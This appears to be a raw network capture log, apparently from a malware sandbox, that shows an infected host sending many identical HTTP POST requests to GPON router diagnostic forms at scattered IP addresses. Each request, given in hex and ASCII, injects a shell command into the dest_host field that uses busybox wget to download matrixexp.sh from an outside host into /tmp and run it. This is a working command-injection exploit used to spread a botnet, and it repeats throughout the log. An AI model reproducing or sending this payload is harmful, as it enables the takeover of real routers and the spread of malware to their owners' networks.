Mar 21, 2024 05:23:17.716242075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1310	192.168.2.13	55070	212.165.191.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716269016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1311	192.168.2.13	43122	109.109.145.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716276884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1312	192.168.2.13	46910	118.6.163.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716290951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1313	192.168.2.13	34646	42.9.217.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716310024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1314	192.168.2.13	51744	212.220.217.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716336012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1315	192.168.2.13	56280	212.190.57.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716350079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1316	192.168.2.13	39844	5.24.221.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716373920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1317	192.168.2.13	49680	109.67.187.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716384888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1318	192.168.2.13	46496	42.97.63.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716392994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1319	192.168.2.13	49448	212.59.164.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716413021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1320	192.168.2.13	37760	5.231.192.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716448069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1321	192.168.2.13	56084	118.120.1.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716453075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1322	192.168.2.13	37994	109.19.194.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716470957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1323	192.168.2.13	46118	5.238.188.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716548920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1324	192.168.2.13	49474	109.176.242.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716551065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1325	192.168.2.13	54328	212.113.232.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716562033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1326	192.168.2.13	36002	118.36.246.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716586113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1327	192.168.2.13	53732	109.245.179.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716639996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1328	192.168.2.13	49912	118.54.207.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716661930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1329	192.168.2.13	47684	118.21.220.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716665983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1330	192.168.2.13	59612	109.92.241.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716665983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1331	192.168.2.13	46878	109.186.95.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716675043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1332	192.168.2.13	33886	212.125.35.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716703892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1333	192.168.2.13	36694	42.240.246.89	443

Timestamp	Bytes transferred	Direction	Data
